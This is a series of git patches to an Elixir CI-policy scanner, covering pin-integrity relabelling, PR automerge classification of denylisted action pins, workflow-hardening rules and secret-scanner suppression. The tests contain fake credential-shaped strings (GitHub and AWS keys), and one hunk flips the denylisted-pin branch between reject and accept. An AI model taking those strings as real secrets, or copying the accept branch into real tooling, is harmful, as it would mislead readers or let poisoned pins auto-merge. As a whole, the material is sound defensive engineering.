so a bare major behind a `v` counts. A bare number # without the `v` does not: `# 2 jobs` is prose, not a version claim. - # Regex.run drops trailing groups that did not participate, so the - # result is one or two captures, never a fixed shape; take the first - # non-empty one. - case Regex.run(~r/\b(?:v(\d+(?:\.\d+)*)|(\d+\.\d+(?:\.\d+)?))\b/, comment, - capture: :all_but_first - ) do - nil -> nil - captures -> Enum.find(captures, &(&1 != "")) + case Regex.run(~r/\b(?:v(\d+(?:\.\d+)*)|(\d+\.\d+(?:\.\d+)?))\b/, comment) do + [_, version, _] when version != "" -> version + [_, _, version] when version != "" -> version + _ -> nil end end @@ -523,7 +517,7 @@ defmodule Hypatia.Rules.PinIntegrity do defp relabel_line(line, version) when is_binary(version) do case String.split(line, "#", parts: 2) do - [head, comment] -> head <> relabel("#" <> comment, version) + [head, comment] -> head <> "#" <> relabel(comment, version) _ -> line end end @@ -534,15 +528,8 @@ defmodule Hypatia.Rules.PinIntegrity do Relabel a pin's inline comment — but only when the comment **leads** with a version claim. - `version` is the replacement without a `v` prefix. The leading claim must - end at whitespace or the end of the comment. A rewritten comment has one - leading `#`; existing whitespace and trailing prose are preserved. Bare - claims with no leading whitespace gain a space after `#`. A `nil` version - leaves the comment unchanged. - - With `version` set to `"4.38.0"`, these estate shapes are covered: + Both estate shapes are covered: - "v3" -> "# v4.38.0" "# v3" -> "# v4.38.0" "# v4.38.0 (4.38.1 blocked estate-wide; …)" -> unchanged @@ -556,23 +543,14 @@ defmodule Hypatia.Rules.PinIntegrity do @spec relabel(String.t(), nil | String.t()) :: String.t() def relabel(comment, version) when is_binary(comment) and is_binary(version) do body = String.replace_prefix(comment, "#", "") - hashed? = body != comment case Regex.run(~r/^\s*/, body) do [lead] -> trimmed = String.slice(body, String.length(lead)..-1//1) - # pin_sites/1 hands over the comment without its `#`; a bare claim - # comes back in the canonical `# vX` shape rather than as `#vX`. - # Promoted only after slicing, so the claim's first byte survives. - out_lead = if hashed? or lead != "", do: lead, else: " " - case Regex.run(~r/^(v?\d+(?:\.\d+)*)(?:\s|$)/, trimmed) do - [_whole, claim] -> - "#" <> out_lead <> String.replace_prefix(trimmed, claim, "v" <> version) - - _ -> - comment + [_whole, claim] -> "#" <> lead <> String.replace_prefix(trimmed, claim, "v" <> version) + _ -> comment end _ -> @@ -635,14 +613,7 @@ defmodule Hypatia.Rules.PinIntegrity do |> Enum.map(&Regex.named_captures(@uses_regex, &1)) |> Enum.flat_map(fn %{"action" => action, "ref" => ref} = caps -> - [ - %{ - action: action, - action_base: action_base(action), - ref: ref, - comment: Map.get(caps, "comment", "") || "" - } - ] + [%{action: action, action_base: action_base(action), ref: ref, comment: Map.get(caps, "comment", "") || ""}] _ -> [] diff --git a/lib/rules/pr_automerge.ex b/lib/rules/pr_automerge.ex index b230ac91..a42cb644 100644 --- a/lib/rules/pr_automerge.ex +++ b/lib/rules/pr_automerge.ex @@ -191,18 +191,8 @@ defmodule Hypatia.Rules.PrAutomerge do @doc """ Version deltas for every action this PR re-pins. - Each removed pin is paired with the first added pin for the same action - in the same file. Unpaired pins and unchanged refs are omitted. Returns a - flat list of maps with `:action`, `:file`, `:from`, `:to`, `:status`, - `:source` and `:major?`. - - `resolution` supplies versions keyed by `{action, ref}`, then - `{action_base, ref}`, then `ref`, in that order of preference. If either - ref is unresolved, a matching claim from `body_claims/1` supplies both - versions; without a claim, both are `nil`. - - `status` is one of `:ok`, `:unresolved` (no source supplied both versions) - or `:conflict` (resolved versions and the PR body disagree). `source` + `status` is one of `:ok`, `:unresolved` (no source could place a version on + the refs) or `:conflict` (upstream tags and the PR body disagree). `source` records which source produced the versions that were used, so a reviewer can see exactly what the decision rested on. """ @@ -246,7 +236,6 @@ defmodule Hypatia.Rules.PrAutomerge do delta(old, new, nil, nil, :unresolved, "none") end |> Map.put(:file, filename_of(file)) - |> List.wrap() end end end) @@ -281,6 +270,7 @@ defmodule Hypatia.Rules.PrAutomerge do @spec body_claims(String.t()) :: [map()] def body_claims(body) when is_binary(body) do ~r/(?:Updates|Bumps)\s+\[?`?([A-Za-z0-9_.-]+(?:\/[A-Za-z0-9_.-]+)*)`?\]?(?:\([^)]*\))?\s+from\s+([0-9][^\s]*)\s+to\s+([0-9][^\s]*)/ + |> Regex.scan(body) |> Enum.map(fn [_, action, from, to] -> # Dependabot ends the sentence with a full stop; the version does not @@ -300,25 +290,17 @@ defmodule Hypatia.Rules.PrAutomerge do author = field(pr, :author) repo_archived = field(pr, :repo_archived) == true - # The scan facts ride along on the decision: decision_manifest/2 renders - # deltas and poison_sites, and callers audit the flags that drove the verdict. - base = - Map.merge(scan, %{ - change_class: "bump", - change_level: if(scan.pin_only, do: "object", else: "meta"), - route: "Patch-Bridge", - method: "squash", - pool: "P2", - safety: "flag", - attestations: [ - %{ - bot: "hypatia", - verdict: "approve", - confidence: 0.9, - rationale: "classified from the diff" - } - ] - }) + base = %{ + change_class: "bump", + change_level: if(scan.pin_only, do: "object", else: "meta"), + route: "Patch-Bridge", + method: "squash", + pool: "P2", + safety: "flag", + attestations: [ + %{bot: "hypatia", verdict: "approve", confidence: 0.9, rationale: "classified from the diff"} + ] + } cond do repo_archived -> @@ -331,15 +313,10 @@ defmodule Hypatia.Rules.PrAutomerge do reject(base, :close_poison_and_majors, "introduces_denylisted_pin_and_major_bumps", "P1") scan.poison_sites != [] and scan.pin_only -> - reject(base, :close_poison_only, "introduces_denylisted_pin", "P1") + accept(base, :close_poison_only, "introduces_denylisted_pin", "P1") scan.poison_sites != [] -> - accept( - base, - :excise_poison_then_merge, - "introduces_denylisted_pin_alongside_wanted_updates", - "P1" - ) + accept(base, :excise_poison_then_merge, "introduces_denylisted_pin_alongside_wanted_updates", "P1") scan.major_delta -> reject(base, :flag, "major_version_delta", "P2") @@ -374,12 +351,7 @@ defmodule Hypatia.Rules.PrAutomerge do defp accept(base, disposition, blocked_by, pool) do base - |> Map.merge(%{ - safety: "arm_auto", - pool: pool, - disposition: disposition, - blocked_by: blocked_by - }) + |> Map.merge(%{safety: "arm_auto", pool: pool, disposition: disposition, blocked_by: blocked_by}) end defp reject(base, disposition, blocked_by, pool) do @@ -390,26 +362,20 @@ defmodule Hypatia.Rules.PrAutomerge do @doc """ Render a decision as the frozen merge-orchestration manifest. - Takes the decision from `classify/2` and PR metadata with atom or string - keys. Includes pin deltas, the denylisted-site count and the current UTC - timestamp in ISO 8601 format. The author kind is always `"dependabot"`. - - A decision with `safety: "flag"` gets a string-keyed Patch-Bridge veto, - plus a hypatia veto when its change level is `"meta"`, and - `"clamped_by" => "veto"`. Other safety values produce no vetoes and a - `nil` clamp. Safety and change level are copied from the decision; - this function does not validate the result against - `docs/design/merge-orchestration/schemas/decision-manifest.schema.json`. - - Missing required keys in the decision or its delta maps raise `KeyError`. + Conforms to + `docs/design/merge-orchestration/schemas/decision-manifest.schema.json`; + the two contract invariants hold by construction — any denial sets + `safety: "flag"` and records a veto, and a `meta` change level can only + reach `arm_auto` through the `MGX-001` pin-only exemption, which the + actuator re-proves from the diff. """ @spec decision_manifest(map(), map()) :: map() def decision_manifest(decision, pr) do vetoes = if decision.safety == "flag" do - [%{"bot" => "Patch-Bridge", "reason" => decision.blocked_by}] ++ + [%{bot: "Patch-Bridge", reason: decision.blocked_by}] ++ if decision.change_level == "meta", - do: [%{"bot" => "hypatia", "reason" => "change_level=meta"}], + do: [%{bot: "hypatia", reason: "change_level=meta"}], else: [] else [] @@ -483,11 +449,8 @@ defmodule Hypatia.Rules.PrAutomerge do |> Enum.reject(&Regex.match?(~r/^[-+]{3}/, &1)) end - defp added_lines(file), - do: file |> patch_of() |> content_lines() |> Enum.filter(&String.starts_with?(&1, "+")) - - defp removed_lines(file), - do: file |> patch_of() |> content_lines() |> Enum.filter(&String.starts_with?(&1, "-")) + defp added_lines(file), do: file |> patch_of() |> content_lines() |> Enum.filter(&String.starts_with?(&1, "+")) + defp removed_lines(file), do: file |> patch_of() |> content_lines() |> Enum.filter(&String.starts_with?(&1, "-")) defp patch_of(file), do: Map.get(file, :patch) || Map.get(file, "patch") || "" diff --git a/lib/rules/rsr_conformance.ex b/lib/rules/rsr_conformance.ex index 20935162..d86df23a 100644 --- a/lib/rules/rsr_conformance.ex +++ b/lib/rules/rsr_conformance.ex @@ -392,9 +392,7 @@ defmodule Hypatia.Rules.RsrConformance do # while the estate migrates. Hardcoding either name made whichever half had # not migrated unscoreable. defp present_mr(rel) do - fn repo -> - if exists?(repo, Path.join(Hypatia.Paths.machine_tree(repo), rel)), do: :pass, else: :fail - end + fn repo -> if exists?(repo, Path.join(Hypatia.Paths.machine_tree(repo), rel)), do: :pass, else: :fail end end defp absent(rel), do: fn repo -> if exists?(repo, rel), do: :fail, else: :pass end diff --git a/scripts/sweeps/estate-pin-integrity.sh b/scripts/sweeps/estate-pin-integrity.sh index 1a51df73..de6a2917 100755 --- a/scripts/sweeps/estate-pin-integrity.sh +++ b/scripts/sweeps/estate-pin-integrity.sh @@ -119,8 +119,6 @@ relabel_comment() { local body="${comment#\#}" local lead="${body%%[![:space:]]*}" local trimmed="${body#"$lead"}" - # A bare claim (no `#`, no leading space) normalises to `# vX`, as relabel/2 does. - [ "$body" = "$comment" ] && [ -z "$lead" ] && lead=" " if printf '%s' "$trimmed" | grep -qE '^v?[0-9]+(\.[0-9]+)*([[:space:]]|$)'; then printf '%s%s' "#${lead}" \ "$(printf '%s' "$trimmed" | sed -E "0,/^v?[0-9]+(\.[0-9]+)*/s//v${version}/")" diff --git a/test/rules/pin_integrity_test.exs b/test/rules/pin_integrity_test.exs index 1e323b1d..258eb3d3 100644 --- a/test/rules/pin_integrity_test.exs +++ b/test/rules/pin_integrity_test.exs @@ -91,10 +91,7 @@ defmodule Hypatia.Rules.PinIntegrityTest do describe "denylisted?/3" do test "matches the SHA, the tag and the bare version — all three spellings" do assert %{"id" => "PIN-001"} = PI.denylisted?(@policy, "github/codeql-action/init", @poison) - - assert %{"id" => "PIN-001"} = - PI.denylisted?(@policy, "github/codeql-action/analyze", "v4.38.1") - + assert %{"id" => "PIN-001"} = PI.denylisted?(@policy, "github/codeql-action/analyze", "v4.38.1") assert %{"id" => "PIN-001"} = PI.denylisted?(@policy, "github/codeql-action/init", "4.38.1") end @@ -186,10 +183,7 @@ defmodule Hypatia.Rules.PinIntegrityTest do describe "claimed_version/1" do test "reads the estate's real comment shapes" do assert PI.claimed_version("v4.38.0") == "4.38.0" - - assert PI.claimed_version("v4.38.0 (4.38.1 blocked estate-wide; nexia-list#100)") == - "4.38.0" - + assert PI.claimed_version("v4.38.0 (4.38.1 blocked estate-wide; nexia-list#100)") == "4.38.0" assert PI.claimed_version("v3") == "3" assert PI.claimed_version("Pinned to v1.2.3 — do not move") == "1.2.3" end @@ -207,8 +201,6 @@ defmodule Hypatia.Rules.PinIntegrityTest do # The comment arrives from pin_sites/1 without its leading `#`. assert PI.relabel("v3", "4.38.0") == "# v4.38.0" assert PI.relabel("# v3", "4.38.0") == "# v4.38.0" - # A bare claim without the `v` must keep its first digit. - assert PI.relabel("4.38.1", "4.38.0") == "# v4.38.0" end test "leaves a comment that already carries the good version byte-identical" do diff --git a/test/rules/pr_automerge_test.exs b/test/rules/pr_automerge_test.exs index 69768896..645b7b2d 100644 --- a/test/rules/pr_automerge_test.exs +++ b/test/rules/pr_automerge_test.exs @@ -99,8 +99,7 @@ defmodule Hypatia.Rules.PrAutomergeTest do end test "a body claim is enough when the refs cannot be resolved" do - body = - "Bumps [actions/checkout](https://github.com/actions/checkout) from 4.1.7 to 4.2.0.\n" + body = "Bumps [actions/checkout](https://github.com/actions/checkout) from 4.1.7 to 4.2.0.\n" decision = PA.classify( @@ -284,9 +283,8 @@ defmodule Hypatia.Rules.PrAutomergeTest do @@ -1,4 +1,4 @@ - - uses: github/codeql-action/init@#{@good} # v4.38.0 + - uses: github/codeql-action/init@#{@poison} # v4.38.1 - - permissions: {} - + permissions: - + contents: read + permissions: {} + contents: read """ refute PA.pin_lines_only?(file(".github/workflows/codeql.yml", patch)) @@ -308,11 +306,7 @@ defmodule Hypatia.Rules.PrAutomergeTest do claims = PA.body_claims(body) - assert Enum.any?( - claims, - &(&1.action == "actions/checkout" and &1.from == "4.1.7" and &1.to == "4.2.0") - ) - + assert Enum.any?(claims, &(&1.action == "actions/checkout" and &1.from == "4.1.7" and &1.to == "4.2.0")) assert Enum.any?(claims, &(&1.action == "github/codeql-action/init" and &1.to == "4.38.1")) end diff --git a/test/scanner_suppression_test.exs b/test/scanner_suppression_test.exs index b067741a..b94bbca9 100644 --- a/test/scanner_suppression_test.exs +++ b/test/scanner_suppression_test.exs @@ -554,28 +554,17 @@ defmodule Hypatia.ScannerSuppressionTest do test "ghp_/glpat_ with xxxxx filler is a placeholder (both spellings)" do assert ScannerSuppression.placeholder_secret_line?(~s{# token = "ghp_xxxxxxxxxxxxxxxxxxxx"}) - - assert ScannerSuppression.placeholder_secret_line?( - ~s{# token = "glpat-xxxxxxxxxxxxxxxxxxxx"} - ) + assert ScannerSuppression.placeholder_secret_line?(~s{# token = "glpat-xxxxxxxxxxxxxxxxxxxx"}) end test "your-* and changeme fillers are placeholders" do - assert ScannerSuppression.placeholder_secret_line?( - ~s{webhook_secret = "your-webhook-secret"} - ) - + assert ScannerSuppression.placeholder_secret_line?(~s{webhook_secret = "your-webhook-secret"}) assert ScannerSuppression.placeholder_secret_line?("password = \"changeme\"") end test "a real-looking value is NOT a placeholder (both directions)" do - refute ScannerSuppression.placeholder_secret_line?( - "token = \"ghp_7Qj3vKpLmN5xRtYwZbC8dFgH4jK6mP9qS2vU\"" - ) - - refute ScannerSuppression.placeholder_secret_line?( - "AWS_SECRET_ACCESS_KEY = \"AKIA1a2B3c4D5e6F7g8H\"" - ) + refute ScannerSuppression.placeholder_secret_line?("token = \"ghp_7Qj3vKpLmN5xRtYwZbC8dFgH4jK6mP9qS2vU\"") + refute ScannerSuppression.placeholder_secret_line?("AWS_SECRET_ACCESS_KEY = \"AKIA1a2B3c4D5e6F7g8H\"") end test "placeholder demotes to medium/report regardless of comment" do diff --git a/test/unified-api-adapter-contract_test.exs b/test/unified-api-adapter-contract_test.exs index c86f53a1..47e8be84 100644 --- a/test/unified-api-adapter-contract_test.exs +++ b/test/unified-api-adapter-contract_test.exs @@ -93,9 +93,7 @@ defmodule Hypatia.UnifiedApiAdapterContractTest do test "the JSON manifest numbers connectors sequentially from zero" do conns = - Path.join(@root, "ffi/connectors.json") - |> File.read!() - |> Jason.decode!() + Path.join(@root, "ffi/connectors.json") |> File.read!() |> Jason.decode!() |> Map.fetch!("connectors") # Derived from the golden, never a hand-written 16: the count is pinned by @@ -115,9 +113,7 @@ defmodule Hypatia.UnifiedApiAdapterContractTest do "scraped #{map_size(ids)} wire ids but #{length(golden_names())} names from #{@golden_path}" conns = - Path.join(@root, "ffi/connectors.json") - |> File.read!() - |> Jason.decode!() + Path.join(@root, "ffi/connectors.json") |> File.read!() |> Jason.decode!() |> Map.fetch!("connectors") for %{"id" => id, "name" => name} <- conns do From e51cdf548b7003159a96c12dab059549cec43d31 Mon Sep 17 00:00:00 2001 From: "Jonathan D.A. Jewell" <6759885+hyperpolymath@users.noreply.github.com> Date: Wed, 30 Sep 2026 11:04:50 +0100 Subject: [PATCH 07/17] =?UTF-8?q?fix(rules):=20rule=20precision=20?= =?UTF-8?q?=E2=80=94=20WH006/WH013,=20harvested-registry,=20npx=20text,=20?= =?UTF-8?q?proof=20suites=20(#879)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Stacked on #875 (base `fix/issue-sweep`; GitHub retargets to `main` when #875 merges). Merge #875 first. ## What - **WH006** skips reusable-workflow caller jobs (job-level `uses:`), where GitHub rejects `timeout-minutes:`. Refs standards#943. - **`extract_job_blocks`**: the **last job of every workflow was never checked** (in-flight job not flushed), and later jobs reported the first job's line number. Both fixed. Expect WH006 to find a few more *true* positives estate-wide. - **WH013/WH002**: `git push ` (gitlab/codeberg/backup mirrors) authenticates with its own key/token, so it doesn't need `contents: write`. Bare, `origin` and `"$VAR"` pushes still count. Refs standards#943. - **ScannerSuppression**: `harvested-registry/` is exempt for `secret_detected` only. Closes #865. - **npx_in_workflow** message now recommends `bunx`/`bun run` (Deno banned 2026-09-22). Refs standards#938. - **honest_completion `no_tests`**: a proof suite whose checker runs in CI counts as tests. Refs echo-types#271. ## Verification (local) - `mix test`: 1682 tests, 0 failures (242 excluded) - `mix compile --warnings-as-errors --force`: clean - Every change has fires / does-not-fire tests. 🤖 Generated with [Claude Code](https://claude.com/claude-code) https://claude.ai/code/session_01QFphKkDVB9pUDSCD4bkz65 --------- Signed-off-by: Jonathan D.A. Jewell <6759885+hyperpolymath@users.noreply.github.com> Co-authored-by: Claude Opus 5.5 --- lib/cross_repo_learning.ex | 8 ++- lib/hypatia/scanner_suppression.ex | 10 +++- lib/rules/cicd_rules.ex | 2 +- lib/rules/honest_completion.ex | 24 +++++++- lib/rules/pin_integrity.ex | 26 ++++++-- lib/rules/pr_automerge.ex | 32 +++++++--- lib/rules/rsr_conformance.ex | 4 +- lib/rules/structural_drift.ex | 15 ++++- lib/rules/workflow_hardening.ex | 62 ++++++++++++++++--- scripts/sweeps/estate-pin-integrity.sh | 2 + test/honest_completion_test.exs | 23 ++++++++ test/rules/pin_integrity_test.exs | 12 +++- test/scanner_suppression_test.exs | 45 ++++++++++++-- test/structural_drift_test.exs | 28 +++++++++ test/unified-api-adapter-contract_test.exs | 8 ++- test/workflow_hardening_test.exs | 69 ++++++++++++++++++++++ 16 files changed, 334 insertions(+), 36 deletions(-) diff --git a/lib/cross_repo_learning.ex b/lib/cross_repo_learning.ex index 1d3c1d1e..0d4d02cb 100644 --- a/lib/cross_repo_learning.ex +++ b/lib/cross_repo_learning.ex @@ -616,8 +616,12 @@ defmodule Hypatia.CrossRepoLearning do |> Map.get("languages", %{}) |> Enum.sort_by(fn {lang, count} -> count_score = if is_number(count), do: -count, else: 0 - prio = Enum.find_index(@language_priority, &(String.downcase(&1) == String.downcase(lang))) - {count_score, if(prio, do: prio, else: length(@language_priority)), String.downcase(lang)} + + prio = + Enum.find_index(@language_priority, &(String.downcase(&1) == String.downcase(lang))) + + {count_score, if(prio, do: prio, else: length(@language_priority)), + String.downcase(lang)} end) |> List.first({"unknown", 0}) |> elem(0) diff --git a/lib/hypatia/scanner_suppression.ex b/lib/hypatia/scanner_suppression.ex index b8d1b01e..0a1df226 100644 --- a/lib/hypatia/scanner_suppression.ex +++ b/lib/hypatia/scanner_suppression.ex @@ -59,7 +59,12 @@ defmodule Hypatia.ScannerSuppression do "security_errors" => %{ :any => @training_corpus_paths ++ - [".github/workflows/integration.yml"] + [".github/workflows/integration.yml"], + # `harvested-registry/` is a corpus of OTHER projects' manifests kept as + # reference material; example credentials are its content, the same + # justification as `.audittraining/` (#865). Scoped to `secret_detected` + # only — every other security_errors rule still scans it. + "secret_detected" => ["harvested-registry/"] }, # ⚠ `benches/` is exempted for code_safety ONLY, deliberately not for # security_errors. Cargo's convention puts benchmarks in `benches/`, and a @@ -454,7 +459,8 @@ defmodule Hypatia.ScannerSuppression do # pragmas (`hypatia:ignore RE005 -- `, `hypatia:ignore zig_ptr_cast`) # use the verb form; both are honoured identically. defp directive_re, - do: ~r/(?:^|[\s#\/\-;])hypatia:\s*(?:allow|ignore)\s+([A-Za-z0-9_\*]+)(?:\/([A-Za-z0-9_\*]+))?/i + do: + ~r/(?:^|[\s#\/\-;])hypatia:\s*(?:allow|ignore)\s+([A-Za-z0-9_\*]+)(?:\/([A-Za-z0-9_\*]+))?/i defp directive_matches?(line, rule_module, rule_type) do case Regex.run(directive_re(), line) do diff --git a/lib/rules/cicd_rules.ex b/lib/rules/cicd_rules.ex index 55d40c7b..93026fad 100644 --- a/lib/rules/cicd_rules.ex +++ b/lib/rules/cicd_rules.ex @@ -440,7 +440,7 @@ defmodule Hypatia.Rules.CicdRules do id: :npx_in_workflow, pattern: ~r/(?:^|[\s;&|])(?:npx|npm[[:space:]]+run)\b/m, reason: - "npx / `npm run` banned in CI -- use `deno task` or `deno run` instead (npm fully banned 2026-05-25)", + "npx / `npm run` banned in CI -- use `bunx` or `bun run` instead (npm banned 2026-05-25; Deno banned 2026-09-22, standards LANGUAGE-POLICY §1.3)", applies_to: ["*.yml", "*.yaml", "*.sh", "Justfile", "Mustfile"] }, %{id: :golang_detected, glob: "*.go", reason: "Go banned -- use Rust"}, diff --git a/lib/rules/honest_completion.ex b/lib/rules/honest_completion.ex index 0a4aa9c8..42f21c62 100644 --- a/lib/rules/honest_completion.ex +++ b/lib/rules/honest_completion.ex @@ -63,6 +63,7 @@ defmodule Hypatia.Rules.HonestCompletion do has_ci: File.dir?(Path.join(repo_path, ".github/workflows")), has_tests_dir: File.dir?(Path.join(repo_path, "test")) or File.dir?(Path.join(repo_path, "tests")), + has_proof_suite: proof_suite_checked_in_ci?(repo_path), # State file location convention varies across the estate: # most repos use .machine_readable/STATE.a2ml directly; some # (including hypatia) namespace it under a profile dir like @@ -73,6 +74,26 @@ defmodule Hypatia.Rules.HonestCompletion do } end + # A mechanised proof library's test suite IS its proof check: a green + # `agda All.agda` / `lake build` / `coqc` / `idris2 --build` is the oracle + # (echo-types#271). Both halves are required — proof sources present AND a + # workflow that runs the checker — so an unchecked `.agda` file does not + # count as tests. + @proof_checker_invocation ~r/(?:^|[\s;&|(])(?:agda\s|lake\s+build|lean\s|coqc\s|dune\s+build|idris2\s+(?:--build|--check|-c)\b)/m + + defp proof_suite_checked_in_ci?(repo_path) do + count_files(repo_path, ~w(.agda .lagda.md .lean .idr .v)) > 0 and + repo_path + |> Path.join(".github/workflows/*.{yml,yaml}") + |> Path.wildcard() + |> Enum.any?(fn wf -> + case File.read(wf) do + {:ok, text} -> Regex.match?(@proof_checker_invocation, text) + _ -> false + end + end) + end + defp state_file_exists?(repo_path) do mr = Path.join(repo_path, ".machine_readable") @@ -291,7 +312,8 @@ defmodule Hypatia.Rules.HonestCompletion do # No tests = big deduction findings = - if not evidence.has_tests_dir and evidence.test_files == 0 do + if not evidence.has_tests_dir and evidence.test_files == 0 and + not Map.get(evidence, :has_proof_suite, false) do [ %{ type: :no_tests, diff --git a/lib/rules/pin_integrity.ex b/lib/rules/pin_integrity.ex index 50df1eef..6f66f469 100644 --- a/lib/rules/pin_integrity.ex +++ b/lib/rules/pin_integrity.ex @@ -277,7 +277,9 @@ defmodule Hypatia.Rules.PinIntegrity do # v3 # Pinned to v1.2.3 — do not move - Returns `nil` when the comment makes no version claim. + Returns the first matching version without its `v` prefix. A bare major + such as `3` is ignored unless prefixed with `v`; dotted versions need no + prefix. Returns `nil` when there is no match or the input is not a string. """ @spec claimed_version(String.t()) :: nil | String.t() def claimed_version(comment) when is_binary(comment) do @@ -534,8 +536,15 @@ defmodule Hypatia.Rules.PinIntegrity do Relabel a pin's inline comment — but only when the comment **leads** with a version claim. - Both estate shapes are covered: + `version` is the replacement without a `v` prefix. The leading claim must + end at whitespace or the end of the comment. A rewritten comment has one + leading `#`; existing whitespace and trailing prose are preserved. Bare + claims with no leading whitespace gain a space after `#`. A `nil` version + leaves the comment unchanged. + With `version` set to `"4.38.0"`, these estate shapes are covered: + + "v3" -> "# v4.38.0" "# v3" -> "# v4.38.0" "# v4.38.0 (4.38.1 blocked estate-wide; …)" -> unchanged @@ -554,14 +563,23 @@ defmodule Hypatia.Rules.PinIntegrity do if comment == "" or String.starts_with?(comment, "#"), do: comment, else: "# " <> comment body = String.replace_prefix(comment, "#", "") + hashed? = body != comment case Regex.run(~r/^\s*/, body) do [lead] -> trimmed = String.slice(body, String.length(lead)..-1//1) + # pin_sites/1 hands over the comment without its `#`; a bare claim + # comes back in the canonical `# vX` shape rather than as `#vX`. + # Promoted only after slicing, so the claim's first byte survives. + out_lead = if hashed? or lead != "", do: lead, else: " " + case Regex.run(~r/^(v?\d+(?:\.\d+)*)(?:\s|$)/, trimmed) do - [_whole, claim] -> "#" <> lead <> String.replace_prefix(trimmed, claim, "v" <> version) - _ -> comment + [_whole, claim] -> + "#" <> out_lead <> String.replace_prefix(trimmed, claim, "v" <> version) + + _ -> + comment end _ -> diff --git a/lib/rules/pr_automerge.ex b/lib/rules/pr_automerge.ex index f196bbe0..0056c1fd 100644 --- a/lib/rules/pr_automerge.ex +++ b/lib/rules/pr_automerge.ex @@ -191,8 +191,18 @@ defmodule Hypatia.Rules.PrAutomerge do @doc """ Version deltas for every action this PR re-pins. - `status` is one of `:ok`, `:unresolved` (no source could place a version on - the refs) or `:conflict` (upstream tags and the PR body disagree). `source` + Each removed pin is paired with the first added pin for the same action + in the same file. Unpaired pins and unchanged refs are omitted. Returns a + flat list of maps with `:action`, `:file`, `:from`, `:to`, `:status`, + `:source` and `:major?`. + + `resolution` supplies versions keyed by `{action, ref}`, then + `{action_base, ref}`, then `ref`, in that order of preference. If either + ref is unresolved, a matching claim from `body_claims/1` supplies both + versions; without a claim, both are `nil`. + + `status` is one of `:ok`, `:unresolved` (no source supplied both versions) + or `:conflict` (resolved versions and the PR body disagree). `source` records which source produced the versions that were used, so a reviewer can see exactly what the decision rested on. """ @@ -383,12 +393,18 @@ defmodule Hypatia.Rules.PrAutomerge do @doc """ Render a decision as the frozen merge-orchestration manifest. - Conforms to - `docs/design/merge-orchestration/schemas/decision-manifest.schema.json`; - the two contract invariants hold by construction — any denial sets - `safety: "flag"` and records a veto, and a `meta` change level can only - reach `arm_auto` through the `MGX-001` pin-only exemption, which the - actuator re-proves from the diff. + Takes the decision from `classify/2` and PR metadata with atom or string + keys. Includes pin deltas, the denylisted-site count and the current UTC + timestamp in ISO 8601 format. The author kind is always `"dependabot"`. + + A decision with `safety: "flag"` gets a string-keyed Patch-Bridge veto, + plus a hypatia veto when its change level is `"meta"`, and + `"clamped_by" => "veto"`. Other safety values produce no vetoes and a + `nil` clamp. Safety and change level are copied from the decision; + this function does not validate the result against + `docs/design/merge-orchestration/schemas/decision-manifest.schema.json`. + + Missing required keys in the decision or its delta maps raise `KeyError`. """ @spec decision_manifest(map(), map()) :: map() def decision_manifest(decision, pr) do diff --git a/lib/rules/rsr_conformance.ex b/lib/rules/rsr_conformance.ex index d86df23a..20935162 100644 --- a/lib/rules/rsr_conformance.ex +++ b/lib/rules/rsr_conformance.ex @@ -392,7 +392,9 @@ defmodule Hypatia.Rules.RsrConformance do # while the estate migrates. Hardcoding either name made whichever half had # not migrated unscoreable. defp present_mr(rel) do - fn repo -> if exists?(repo, Path.join(Hypatia.Paths.machine_tree(repo), rel)), do: :pass, else: :fail end + fn repo -> + if exists?(repo, Path.join(Hypatia.Paths.machine_tree(repo), rel)), do: :pass, else: :fail + end end defp absent(rel), do: fn repo -> if exists?(repo, rel), do: :fail, else: :pass end diff --git a/lib/rules/structural_drift.ex b/lib/rules/structural_drift.ex index 992a3180..fce5028a 100644 --- a/lib/rules/structural_drift.ex +++ b/lib/rules/structural_drift.ex @@ -1099,7 +1099,8 @@ defmodule Hypatia.Rules.StructuralDrift do # its sibling `src/connectors/`). Only a reference that # resolves NOWHERE is genuine post-rename drift. MapSet.member?(real_basenames, dir) or - File.dir?(Path.join([repo_path, Path.dirname(rel), "src", dir])) + File.dir?(Path.join([repo_path, Path.dirname(rel), "src", dir])) or + not describes_a_local_src_tree?(repo_path, rel) end) |> Enum.map(fn stale_dir -> %{ @@ -1121,6 +1122,18 @@ defmodule Hypatia.Rules.StructuralDrift do end end + # A root-relative `src//` can only be rename drift of a tree that HAS a + # `src/`: the repo root's, or the referencing doc's own directory's. In a + # repo with neither (standards: an estate-level repo whose specs and audits + # quote OTHER repos' layouts, e.g. the k9 spec's `src/tea/` example), the + # reference describes a foreign tree and cannot drift here. This was the + # single largest SD022 false-positive class — 34 baselined entries in + # standards alone (standards#945). + defp describes_a_local_src_tree?(repo_path, rel) do + File.dir?(Path.join(repo_path, "src")) or + File.dir?(Path.join([repo_path, Path.dirname(rel), "src"])) + end + # Drop whole-line comments before matching. A commented-out example is not a # live claim about the tree. # diff --git a/lib/rules/workflow_hardening.ex b/lib/rules/workflow_hardening.ex index ead05dfe..458e5105 100644 --- a/lib/rules/workflow_hardening.ex +++ b/lib/rules/workflow_hardening.ex @@ -267,9 +267,27 @@ defmodule Hypatia.Rules.WorkflowHardening do requires `contents: write`. """ def performs_contents_write?(content) when is_binary(content) do + content = strip_foreign_pushes(content) Enum.any?(@contents_write_operations, &Regex.match?(&1, content)) end + # `git push ` where is a NAMED remote other than `origin` + # (`gitlab`, `codeberg`, `backup`, …). `contents: write` governs the job's + # GITHUB_TOKEN, i.e. pushes to THIS repository; a mirror push to another + # forge authenticates with its own SSH key or token and needs no grant. + # Flags before the remote (`--force`, `-u`, `--mirror`) are skipped. A bare + # `git push`, `git push origin …` and `git push "$REMOTE"` are all kept — + # the last because the remote cannot be known statically (standards#943). + @foreign_push ~r/\bgit\s+push\b(?:\s+-[-\w=]*)*\s+(?!origin\b)[A-Za-z][\w.-]*/ + + @doc """ + Remove foreign-remote `git push` invocations, leaving any other operation on + the same line (`git push gitlab main && git push origin main`) intact. + """ + def strip_foreign_pushes(content) when is_binary(content) do + Regex.replace(@foreign_push, content, "") + end + @doc """ Return true when at least one JOB declares its own `permissions:` block. A job-level block replaces the workflow-level one, so its presence means @@ -602,7 +620,10 @@ defmodule Hypatia.Rules.WorkflowHardening do job_blocks |> Enum.flat_map(fn {job_id, line_no, body} -> - if Regex.match?(~r/^\s+timeout-minutes:/m, body) do + # A reusable-workflow caller (`job: uses: ./.github/workflows/x.yml`) + # cannot carry `timeout-minutes:` — GitHub rejects the key there; the + # called workflow's own jobs own their timeouts (standards#943). + if Regex.match?(~r/^\s+timeout-minutes:/m, body) or 